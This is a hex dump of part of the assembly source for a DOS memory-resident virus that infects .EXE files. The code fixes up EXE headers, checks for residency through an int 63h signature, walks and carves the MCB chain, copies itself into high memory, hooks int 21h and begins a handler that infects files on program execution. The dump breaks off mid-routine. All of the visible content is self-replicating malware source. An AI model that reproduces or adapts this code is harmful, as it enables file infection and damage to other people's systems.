|00001030| 76 20 77 6f 72 64 20 70 | 74 72 20 5b 62 75 66 66 |v word p|tr [buff|
|00001040| 65 72 2b 34 2d 31 30 30 | 68 5d 2c 20 64 78 20 20 |er+4-100|h], dx |
|00001050| 20 20 20 20 20 20 3b 20 | 46 69 78 2d 75 70 20 74 | ; |Fix-up t|
|00001060| 68 65 20 66 69 6c 65 20 | 73 69 7a 65 20 69 6e 0d |he file |size in.|
|00001070| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |.. | mov |
|00001080| 77 6f 72 64 20 70 74 72 | 20 5b 62 75 66 66 65 72 |word ptr| [buffer|
|00001090| 2b 32 2d 31 30 30 68 5d | 2c 20 61 78 20 20 20 20 |+2-100h]|, ax |
|000010a0| 20 20 20 20 3b 20 74 68 | 65 20 45 58 45 20 68 65 | ; th|e EXE he|
|000010b0| 61 64 65 72 2e 0d 0d 0a | 0d 0d 0a 20 20 20 20 20 |ader....|... |
|000010c0| 20 20 20 20 20 70 6f 70 | 20 62 78 0d 0d 0a 20 20 | pop| bx... |
|000010d0| 20 20 20 20 20 20 20 20 | 72 65 74 6e 20 20 20 20 | |retn |
|000010e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000010f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001100| 3b 20 4c 65 61 76 65 20 | 73 75 62 72 6f 75 74 69 |; Leave |subrouti|
|00001110| 6e 65 0d 0d 0a 0d 0d 0a | 3b 2d 2d 2d 2d 2d 2d 2d |ne......|;-------|
|00001120| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001130| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001140| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001150| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001160| 2d 2d 2d 2d 2d 0d 0d 0a | 0d 0d 0a 0d 0d 0a 63 68 |-----...|......ch|
|00001170| 65 63 6b 5f 69 66 5f 72 | 65 73 69 64 65 6e 74 3a |eck_if_r|esident:|
|00001180| 0d 0d 0a 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |... | push |
|00001190| 65 73 0d 0d 0a 20 20 20 | 20 20 20 20 20 78 6f 72 |es... | xor|
|000011a0| 20 61 78 2c 61 78 0d 0d | 0a 20 20 20 20 20 20 20 | ax,ax..|. |
|000011b0| 20 6d 6f 76 20 65 73 2c | 61 78 0d 0d 0a 0d 0d 0a | mov es,|ax......|
|000011c0| 20 20 20 20 20 20 20 20 | 63 6d 70 20 77 6f 72 64 | |cmp word|
|000011d0| 20 70 74 72 20 65 73 3a | 5b 36 33 68 2a 34 5d 2c | ptr es:|[63h*4],|
|000011e0| 30 30 34 30 68 20 20 20 | 20 20 20 20 20 20 20 20 |0040h | |
|000011f0| 20 20 3b 20 43 68 65 63 | 6b 20 74 6f 20 73 65 65 | ; Chec|k to see|
|00001200| 20 69 66 20 76 69 72 75 | 73 0d 0d 0a 20 20 20 20 | if viru|s... |
|00001210| 20 20 20 20 6a 6e 7a 20 | 67 72 61 62 5f 64 61 5f | jnz |grab_da_|
|00001220| 76 65 63 74 6f 72 73 20 | 20 20 20 20 20 20 20 20 |vectors | |
|00001230| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|00001240| 20 20 69 73 20 61 6c 72 | 65 61 64 79 20 72 65 73 | is alr|eady res|
|00001250| 69 64 65 6e 74 0d 0d 0a | 20 20 20 20 20 20 20 20 |ident...| |
|00001260| 6a 6d 70 20 65 78 69 74 | 5f 6e 6f 72 6d 61 6c 20 |jmp exit|_normal |
|00001270| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001280| 20 20 20 20 20 20 20 20 | 20 20 3b 20 20 20 62 79 | | ; by|
|00001290| 20 6c 6f 6f 6b 69 6e 67 | 20 66 6f 72 20 61 20 34 | looking| for a 4|
|000012a0| 30 68 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |0h... | |
|000012b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000012c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000012d0| 20 20 20 20 20 20 20 3b | 20 20 20 73 69 67 6e 61 | ;| signa|
|000012e0| 74 75 72 65 20 69 6e 20 | 74 68 65 20 69 6e 74 20 |ture in |the int |
|000012f0| 36 33 68 0d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |63h... | |
|00001300| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001310| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001320| 20 20 20 20 20 20 20 20 | 3b 20 20 20 6f 66 66 73 | |; offs|
|00001330| 65 74 20 73 65 63 74 69 | 6f 6e 20 6f 66 0d 0d 0a |et secti|on of...|
|00001340| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001350| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001360| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001370| 20 20 3b 20 20 20 69 6e | 74 65 72 72 75 70 74 20 | ; in|terrupt |
|00001380| 74 61 62 6c 65 2e 0d 0d | 0a 0d 0d 0a 67 72 61 62 |table...|....grab|
|00001390| 5f 64 61 5f 76 65 63 74 | 6f 72 73 3a 0d 0d 0a 0d |_da_vect|ors:....|
|000013a0| 0d 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 20 61 78 |.. | mov ax|
|000013b0| 2c 33 35 32 31 68 20 20 | 20 20 20 20 20 20 20 20 |,3521h | |
|000013c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000013d0| 20 20 20 20 3b 20 53 74 | 6f 72 65 20 6f 72 69 67 | ; St|ore orig|
|000013e0| 69 6e 61 6c 20 69 6e 74 | 20 32 31 68 0d 0d 0a 20 |inal int| 21h... |
|000013f0| 20 20 20 20 20 20 20 69 | 6e 74 20 32 31 68 20 20 | i|nt 21h |
|00001400| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001410| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001420| 20 3b 20 20 20 76 65 63 | 74 6f 72 20 70 6f 69 6e | ; vec|tor poin|
|00001430| 74 65 72 2e 0d 0d 0a 20 | 20 20 20 20 20 20 20 6d |ter.... | m|
|00001440| 6f 76 20 77 6f 72 64 20 | 70 74 72 20 63 73 3a 5b |ov word |ptr cs:[|
|00001450| 62 70 2b 64 6f 73 5f 76 | 65 63 74 6f 72 2d 31 30 |bp+dos_v|ector-10|
|00001460| 30 68 5d 2c 62 78 0d 0d | 0a 20 20 20 20 20 20 20 |0h],bx..|. |
|00001470| 20 6d 6f 76 20 77 6f 72 | 64 20 70 74 72 20 63 73 | mov wor|d ptr cs|
|00001480| 3a 5b 62 70 2b 64 6f 73 | 5f 76 65 63 74 6f 72 2b |:[bp+dos|_vector+|
|00001490| 32 2d 31 30 30 68 5d 2c | 65 73 0d 0d 0a 0d 0d 0a |2-100h],|es......|
|000014a0| 0d 0d 0a 0d 0d 0a 6c 6f | 61 64 5f 68 69 67 68 3a |......lo|ad_high:|
|000014b0| 0d 0d 0a 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |... | push |
|000014c0| 64 73 0d 0d 0a 0d 0d 0a | 66 69 6e 64 5f 63 68 61 |ds......|find_cha|
|000014d0| 69 6e 3a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |in: | |
|000014e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000014f0| 20 20 20 20 20 20 20 20 | 20 20 3b 20 4c 6f 61 64 | | ; Load|
|00001500| 20 68 69 67 68 20 72 6f | 75 74 69 6e 65 20 74 68 | high ro|utine th|
|00001510| 61 74 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |at... | |
|00001520| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001530| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001540| 20 20 20 20 20 20 20 3b | 20 20 20 75 73 65 73 20 | ;| uses |
|00001550| 74 68 65 20 44 4f 53 20 | 69 6e 74 65 72 6e 61 6c |the DOS |internal|
|00001560| 0d 0d 0a 20 20 20 20 20 | 6d 6f 76 20 61 68 2c 35 |... |mov ah,5|
|00001570| 32 68 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |2h | |
|00001580| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001590| 20 20 20 20 20 3b 20 20 | 20 74 61 62 6c 65 20 66 | ; | table f|
|000015a0| 75 6e 63 74 69 6f 6e 20 | 74 6f 20 66 69 6e 64 0d |unction |to find.|
|000015b0| 0d 0a 20 20 20 20 20 69 | 6e 74 20 32 31 68 20 20 |.. i|nt 21h |
|000015c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000015d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000015e0| 20 20 20 20 3b 20 20 20 | 73 74 61 72 74 20 6f 66 | ; |start of|
|000015f0| 20 4d 43 42 20 61 6e 64 | 20 74 68 65 6e 0d 0d 0a | MCB and| then...|
|00001600| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001610| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001620| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001630| 20 20 3b 20 20 20 73 63 | 61 6c 65 73 20 75 70 20 | ; sc|ales up |
|00001640| 63 68 61 69 6e 20 74 6f | 0d 0d 0a 20 20 20 20 20 |chain to|... |
|00001650| 6d 6f 76 20 64 73 2c 65 | 73 3a 20 77 6f 72 64 20 |mov ds,e|s: word |
|00001660| 70 74 72 20 5b 62 78 2d | 32 5d 20 20 20 20 20 20 |ptr [bx-|2] |
|00001670| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 20 | | ; |
|00001680| 20 66 69 6e 64 20 74 6f | 70 2e 20 28 54 68 65 20 | find to|p. (The |
|00001690| 63 6f 64 65 0d 0d 0a 20 | 20 20 20 20 61 73 73 75 |code... | assu|
|000016a0| 6d 65 20 64 73 3a 6e 6f | 74 68 69 6e 67 20 20 20 |me ds:no|thing |
|000016b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000016c0| 20 20 20 20 20 20 20 20 | 20 3b 20 20 20 69 73 20 | | ; is |
|000016d0| 6c 6f 6e 67 2c 20 62 75 | 74 20 69 74 20 69 73 20 |long, bu|t it is |
|000016e0| 74 68 65 0d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |the... | |
|000016f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001700| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001710| 20 20 20 20 20 20 20 20 | 3b 20 20 20 6f 6e 6c 79 | |; only|
|00001720| 20 63 6f 64 65 20 74 68 | 61 74 20 77 6f 75 6c 64 | code th|at would|
|00001730| 0d 0d 0a 20 20 20 20 20 | 78 6f 72 20 73 69 2c 73 |... |xor si,s|
|00001740| 69 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |i | |
|00001750| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001760| 20 20 20 20 20 3b 20 20 | 20 77 6f 72 6b 20 77 68 | ; | work wh|
|00001770| 65 6e 20 61 6e 20 69 6e | 66 65 63 74 65 64 0d 0d |en an in|fected..|
|00001780| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001790| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000017a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000017b0| 20 20 20 3b 20 20 20 2e | 45 58 45 20 77 61 73 20 | ; .|EXE was |
|000017c0| 74 6f 20 62 65 20 6c 6f | 61 64 65 64 0d 0d 0a 4d |to be lo|aded...M|
|000017d0| 69 64 64 6c 65 5f 63 68 | 65 63 6b 3a 20 20 20 20 |iddle_ch|eck: |
|000017e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000017f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001800| 20 3b 20 20 20 69 6e 74 | 6f 20 6d 65 6d 6f 72 79 | ; int|o memory|
|00001810| 2e 0d 0d 0a 0d 0d 0a 20 | 20 20 20 20 63 6d 70 20 |....... | cmp |
|00001820| 62 79 74 65 20 70 74 72 | 20 64 73 3a 5b 30 5d 2c |byte ptr| ds:[0],|
|00001830| 27 4d 27 0d 0d 0a 20 20 | 20 20 20 6a 6e 65 20 43 |'M'... | jne C|
|00001840| 68 65 63 6b 34 6c 61 73 | 74 0d 0d 0a 0d 0d 0a 61 |heck4las|t......a|
|00001850| 64 64 5f 6f 6e 65 3a 0d | 0d 0a 20 20 20 20 20 6d |dd_one:.|.. m|
|00001860| 6f 76 20 61 78 2c 64 73 | 0d 0d 0a 20 20 20 20 20 |ov ax,ds|... |
|00001870| 61 64 64 20 61 78 2c 64 | 73 3a 5b 33 5d 0d 0d 0a |add ax,d|s:[3]...|
|00001880| 20 20 20 20 20 69 6e 63 | 20 61 78 0d 0d 0a 0d 0d | inc| ax.....|
|00001890| 0a 20 20 20 20 20 6d 6f | 76 20 64 73 2c 61 78 0d |. mo|v ds,ax.|
|000018a0| 0d 0a 20 20 20 20 20 6a | 6d 70 20 4d 69 64 64 6c |.. j|mp Middl|
|000018b0| 65 5f 63 68 65 63 6b 0d | 0d 0a 0d 0d 0a 43 68 65 |e_check.|.....Che|
|000018c0| 63 6b 34 6c 61 73 74 3a | 0d 0d 0a 20 20 20 20 20 |ck4last:|... |
|000018d0| 63 6d 70 20 62 79 74 65 | 20 70 74 72 20 64 73 3a |cmp byte| ptr ds:|
|000018e0| 5b 30 5d 2c 27 5a 27 0d | 0d 0a 20 20 20 20 20 6a |[0],'Z'.|.. j|
|000018f0| 6e 65 20 45 72 72 6f 72 | 0d 0d 0a 20 20 20 20 20 |ne Error|... |
|00001900| 6d 6f 76 20 62 79 74 65 | 20 70 74 72 20 64 73 3a |mov byte| ptr ds:|
|00001910| 5b 30 5d 2c 27 4d 27 0d | 0d 0a 20 20 20 20 20 73 |[0],'M'.|.. s|
|00001920| 75 62 20 77 6f 72 64 20 | 70 74 72 20 64 73 3a 5b |ub word |ptr ds:[|
|00001930| 33 5d 2c 28 65 6e 64 63 | 6f 64 65 2d 73 74 61 72 |3],(endc|ode-star|
|00001940| 74 2b 31 35 68 29 2f 31 | 36 68 2b 31 0d 0d 0a 20 |t+15h)/1|6h+1... |
|00001950| 20 20 20 20 6a 6d 70 20 | 61 64 64 5f 6f 6e 65 0d | jmp |add_one.|
|00001960| 0d 0a 0d 0d 0a 65 72 72 | 6f 72 3a 0d 0d 0a 20 20 |.....err|or:... |
|00001970| 20 20 20 6d 6f 76 20 62 | 79 74 65 20 70 74 72 20 | mov b|yte ptr |
|00001980| 64 73 3a 5b 30 5d 2c 27 | 5a 27 0d 0d 0a 20 20 20 |ds:[0],'|Z'... |
|00001990| 20 20 6d 6f 76 20 77 6f | 72 64 20 70 74 72 20 64 | mov wo|rd ptr d|
|000019a0| 73 3a 5b 31 5d 2c 30 30 | 38 68 0d 0d 0a 20 20 20 |s:[1],00|8h... |
|000019b0| 20 20 6d 6f 76 20 77 6f | 72 64 20 70 74 72 20 64 | mov wo|rd ptr d|
|000019c0| 73 3a 5b 33 5d 2c 28 65 | 6e 64 63 6f 64 65 2d 73 |s:[3],(e|ndcode-s|
|000019d0| 74 61 72 74 2b 31 35 68 | 29 2f 31 36 68 2b 31 0d |tart+15h|)/16h+1.|
|000019e0| 0d 0a 0d 0d 0a 20 20 20 | 20 20 70 75 73 68 20 64 |..... | push d|
|000019f0| 73 0d 0d 0a 20 20 20 20 | 20 70 6f 70 20 61 78 0d |s... | pop ax.|
|00001a00| 0d 0a 20 20 20 20 20 69 | 6e 63 20 61 78 0d 0d 0a |.. i|nc ax...|
|00001a10| 20 20 20 20 20 70 75 73 | 68 20 61 78 0d 0d 0a 20 | pus|h ax... |
|00001a20| 20 20 20 20 70 6f 70 20 | 65 73 0d 0d 0a 0d 0d 0a | pop |es......|
|00001a30| 0d 0d 0a 0d 0d 0a 0d 0d | 0a 0d 0d 0a 6d 6f 76 65 |........|....move|
|00001a40| 5f 76 69 72 75 73 5f 6c | 6f 6f 70 3a 0d 0d 0a 20 |_virus_l|oop:... |
|00001a50| 20 20 20 20 20 20 20 6d | 6f 76 20 62 78 2c 6f 66 | m|ov bx,of|
|00001a60| 66 73 65 74 20 73 74 61 | 72 74 2d 31 30 30 68 20 |fset sta|rt-100h |
|00001a70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001a80| 20 3b 20 4d 6f 76 65 20 | 76 69 72 75 73 20 69 6e | ; Move |virus in|
|00001a90| 74 6f 20 63 61 72 76 65 | 64 0d 0d 0a 20 20 20 20 |to carve|d... |
|00001aa0| 20 20 20 20 61 64 64 20 | 62 78 2c 62 70 20 20 20 | add |bx,bp |
|00001ab0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001ac0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|00001ad0| 20 20 6f 75 74 20 6c 6f | 63 61 74 69 6f 6e 20 69 | out lo|cation i|
|00001ae0| 6e 20 6d 65 6d 6f 72 79 | 2e 0d 0d 0a 20 20 20 20 |n memory|.... |
|00001af0| 20 20 20 20 6d 6f 76 20 | 63 78 2c 65 6e 64 63 6f | mov |cx,endco|
|00001b00| 64 65 2d 73 74 61 72 74 | 0d 0d 0a 20 20 20 20 20 |de-start|... |
|00001b10| 20 20 20 70 75 73 68 20 | 62 70 0d 0d 0a 20 20 20 | push |bp... |
|00001b20| 20 20 20 20 20 6d 6f 76 | 20 62 70 2c 30 30 30 30 | mov| bp,0000|
|00001b30| 68 0d 0d 0a 0d 0d 0a 6d | 6f 76 65 5f 69 74 3a 0d |h......m|ove_it:.|
|00001b40| 0d 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 20 64 6c |.. | mov dl|
|00001b50| 2c 20 62 79 74 65 20 70 | 74 72 20 63 73 3a 5b 62 |, byte p|tr cs:[b|
|00001b60| 78 5d 0d 0d 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 |x]... | mov|
|00001b70| 20 62 79 74 65 20 70 74 | 72 20 65 73 3a 5b 62 70 | byte pt|r es:[bp|
|00001b80| 5d 2c 64 6c 0d 0d 0a 20 | 20 20 20 20 20 20 20 69 |],dl... | i|
|00001b90| 6e 63 20 62 70 0d 0d 0a | 20 20 20 20 20 20 20 20 |nc bp...| |
|00001ba0| 69 6e 63 20 62 78 0d 0d | 0a 20 20 20 20 20 20 20 |inc bx..|. |
|00001bb0| 20 6c 6f 6f 70 20 6d 6f | 76 65 5f 69 74 0d 0d 0a | loop mo|ve_it...|
|00001bc0| 20 20 20 20 20 20 20 20 | 70 6f 70 20 62 70 0d 0d | |pop bp..|
|00001bd0| 0a 0d 0d 0a 0d 0d 0a 0d | 0d 0a 68 6f 6f 6b 5f 76 |........|..hook_v|
|00001be0| 65 63 74 6f 72 73 3a 0d | 0d 0a 0d 0d 0a 20 20 20 |ectors:.|..... |
|00001bf0| 20 20 20 20 20 6d 6f 76 | 20 61 78 2c 32 35 36 33 | mov| ax,2563|
|00001c00| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h | |
|00001c10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|00001c20| 20 48 6f 6f 6b 20 74 68 | 65 20 69 6e 74 20 32 31 | Hook th|e int 21|
|00001c30| 68 20 76 65 63 74 6f 72 | 0d 0d 0a 20 20 20 20 20 |h vector|... |
|00001c40| 20 20 20 6d 6f 76 20 64 | 78 2c 30 30 34 30 68 20 | mov d|x,0040h |
|00001c50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001c60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 20 | | ; |
|00001c70| 20 77 68 69 63 68 20 6d | 65 61 6e 73 20 69 74 20 | which m|eans it |
|00001c80| 77 69 6c 6c 0d 0d 0a 20 | 20 20 20 20 20 20 20 69 |will... | i|
|00001c90| 6e 74 20 32 31 68 20 20 | 20 20 20 20 20 20 20 20 |nt 21h | |
|00001ca0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001cb0| 20 20 20 20 20 20 20 20 | 20 3b 20 20 20 70 6f 69 | | ; poi|
|00001cc0| 6e 74 20 74 6f 20 76 69 | 72 75 73 20 63 6f 64 65 |nt to vi|rus code|
|00001cd0| 20 69 6e 0d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 | in... | |
|00001ce0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001cf0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001d00| 20 20 20 20 20 20 20 20 | 3b 20 20 20 6d 65 6d 6f | |; memo|
|00001d10| 72 79 2e 0d 0d 0a 20 20 | 20 20 20 20 20 20 6d 6f |ry.... | mo|
|00001d20| 76 20 61 78 2c 32 35 32 | 31 68 0d 0d 0a 20 20 20 |v ax,252|1h... |
|00001d30| 20 20 20 20 20 6d 6f 76 | 20 64 78 2c 6f 66 66 73 | mov| dx,offs|
|00001d40| 65 74 20 76 69 72 75 73 | 5f 61 74 74 61 63 6b 2d |et virus|_attack-|
|00001d50| 31 30 30 68 0d 0d 0a 20 | 20 20 20 20 20 20 20 70 |100h... | p|
|00001d60| 75 73 68 20 65 73 0d 0d | 0a 20 20 20 20 20 20 20 |ush es..|. |
|00001d70| 20 70 6f 70 20 64 73 0d | 0d 0a 20 20 20 20 20 20 | pop ds.|.. |
|00001d80| 20 20 69 6e 74 20 32 31 | 68 0d 0d 0a 0d 0d 0a 0d | int 21|h.......|
|00001d90| 0d 0a 0d 0d 0a 0d 0d 0a | 20 20 20 20 20 20 20 20 |........| |
|00001da0| 70 6f 70 20 64 73 0d 0d | 0a 0d 0d 0a 0d 0d 0a 0d |pop ds..|........|
|00001db0| 0d 0a 65 78 69 74 5f 6e | 6f 72 6d 61 6c 3a 20 20 |..exit_n|ormal: |
|00001dc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001dd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001de0| 20 20 20 20 3b 20 52 65 | 74 75 72 6e 20 63 6f 6e | ; Re|turn con|
|00001df0| 74 72 6f 6c 20 74 6f 0d | 0d 0a 20 20 20 20 20 20 |trol to.|.. |
|00001e00| 20 20 70 6f 70 20 65 73 | 20 20 20 20 20 20 20 20 | pop es| |
|00001e10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001e20| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 20 20 | | ; |
|00001e30| 69 6e 66 65 63 74 65 64 | 20 2e 45 58 45 0d 0d 0a |infected| .EXE...|
|00001e40| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 61 78 2c 20 | |mov ax, |
|00001e50| 65 73 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |es | |
|00001e60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001e70| 20 20 3b 20 20 20 28 44 | 61 72 6b 20 41 6e 67 6c | ; (D|ark Angl|
|00001e80| 65 20 63 6f 64 65 2e 29 | 0d 0d 0a 20 20 20 20 20 |e code.)|... |
|00001e90| 20 20 20 61 64 64 20 61 | 78 2c 20 31 30 68 0d 0d | add a|x, 10h..|
|00001ea0| 0a 20 20 20 20 20 20 20 | 20 61 64 64 20 77 6f 72 |. | add wor|
|00001eb0| 64 20 70 74 72 20 63 73 | 3a 5b 62 70 2b 4f 72 69 |d ptr cs|:[bp+Ori|
|00001ec0| 67 43 53 49 50 2b 32 2d | 31 30 30 68 5d 2c 20 61 |gCSIP+2-|100h], a|
|00001ed0| 78 0d 0d 0a 0d 0d 0a 20 | 20 20 20 20 20 20 20 63 |x...... | c|
|00001ee0| 6c 69 0d 0d 0a 20 20 20 | 20 20 20 20 20 61 64 64 |li... | add|
|00001ef0| 20 61 78 2c 20 77 6f 72 | 64 20 70 74 72 20 63 73 | ax, wor|d ptr cs|
|00001f00| 3a 5b 62 70 2b 4f 72 69 | 67 53 53 53 50 2b 32 2d |:[bp+Ori|gSSSP+2-|
|00001f10| 31 30 30 68 5d 0d 0d 0a | 20 20 20 20 20 20 20 20 |100h]...| |
|00001f20| 6d 6f 76 20 73 73 2c 20 | 61 78 0d 0d 0a 20 20 20 |mov ss, |ax... |
|00001f30| 20 20 20 20 20 6d 6f 76 | 20 73 70 2c 20 77 6f 72 | mov| sp, wor|
|00001f40| 64 20 70 74 72 20 63 73 | 3a 5b 62 70 2b 4f 72 69 |d ptr cs|:[bp+Ori|
|00001f50| 67 53 53 53 50 2d 31 30 | 30 68 5d 0d 0d 0a 20 20 |gSSSP-10|0h]... |
|00001f60| 20 20 20 20 20 20 73 74 | 69 0d 0d 0a 0d 0d 0a 20 | st|i...... |
|00001f70| 20 20 20 20 20 20 20 78 | 6f 72 20 61 78 2c 61 78 | x|or ax,ax|
|00001f80| 0d 0d 0a 20 20 20 20 20 | 20 20 20 78 6f 72 20 62 |... | xor b|
|00001f90| 70 2c 62 70 0d 0d 0a 0d | 0d 0a 65 6e 64 63 72 79 |p,bp....|..endcry|
|00001fa0| 70 74 20 20 6c 61 62 65 | 6c 20 20 62 79 74 65 0d |pt labe|l byte.|
|00001fb0| 0d 0a 0d 0d 0a 20 20 20 | 20 20 20 20 20 64 62 20 |..... | db |
|00001fc0| 30 65 61 68 0d 0d 0a 4f | 72 69 67 43 53 49 50 20 |0eah...O|rigCSIP |
|00001fd0| 64 64 20 30 66 66 66 30 | 30 30 30 30 68 0d 0d 0a |dd 0fff0|0000h...|
|00001fe0| 4f 72 69 67 53 53 53 50 | 20 64 64 20 3f 0d 0d 0a |OrigSSSP| dd ?...|
|00001ff0| 0d 0d 0a 65 78 65 5f 61 | 74 74 72 69 62 20 64 77 |...exe_a|ttrib dw|
|00002000| 20 3f 0d 0d 0a 64 61 74 | 65 5f 73 74 61 6d 70 20 | ?...dat|e_stamp |
|00002010| 64 77 20 3f 0d 0d 0a 74 | 69 6d 65 5f 73 74 61 6d |dw ?...t|ime_stam|
|00002020| 70 20 64 77 20 3f 0d 0d | 0a 0d 0d 0a 0d 0d 0a 0d |p dw ?..|........|
|00002030| 0d 0a 64 6f 73 5f 76 65 | 63 74 6f 72 20 64 64 20 |..dos_ve|ctor dd |
|00002040| 3f 0d 0d 0a 0d 0d 0a 62 | 75 66 66 65 72 20 64 62 |?......b|uffer db|
|00002050| 20 31 38 68 20 64 75 70 | 28 3f 29 20 20 20 20 20 | 18h dup|(?) |
|00002060| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002070| 20 20 20 20 20 20 20 20 | 20 3b 20 2e 45 58 45 20 | | ; .EXE |
|00002080| 68 65 61 64 65 72 20 62 | 75 66 66 65 72 2e 0d 0d |header b|uffer...|
|00002090| 0a 0d 0d 0a 0d 0d 0a 0d | 0d 0a 0d 0d 0a 3b 2d 2d |........|.....;--|
|000020a0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000020b0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000020c0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000020d0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000020e0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 0d 0d 0a 0d 0d 0a |--------|--......|
|000020f0| 0d 0d 0a 76 69 72 75 73 | 5f 61 74 74 61 63 6b 20 |...virus|_attack |
|00002100| 70 72 6f 63 20 20 66 61 | 72 0d 0d 0a 20 20 20 20 |proc fa|r... |
|00002110| 20 20 20 20 20 20 20 20 | 20 20 20 61 73 73 75 6d | | assum|
|00002120| 65 20 63 73 3a 63 6f 64 | 65 2c 64 73 3a 6e 6f 74 |e cs:cod|e,ds:not|
|00002130| 68 69 6e 67 2c 20 65 73 | 3a 6e 6f 74 68 69 6e 67 |hing, es|:nothing|
|00002140| 0d 0d 0a 0d 0d 0a 0d 0d | 0a 20 20 20 20 20 20 20 |........|. |
|00002150| 20 63 6d 70 20 61 78 2c | 34 62 30 30 68 20 20 20 | cmp ax,|4b00h |
|00002160| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002170| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 49 6e 66 | | ; Inf|
|00002180| 65 63 74 20 6f 6e 6c 79 | 20 6f 6e 20 66 69 6c 65 |ect only| on file|
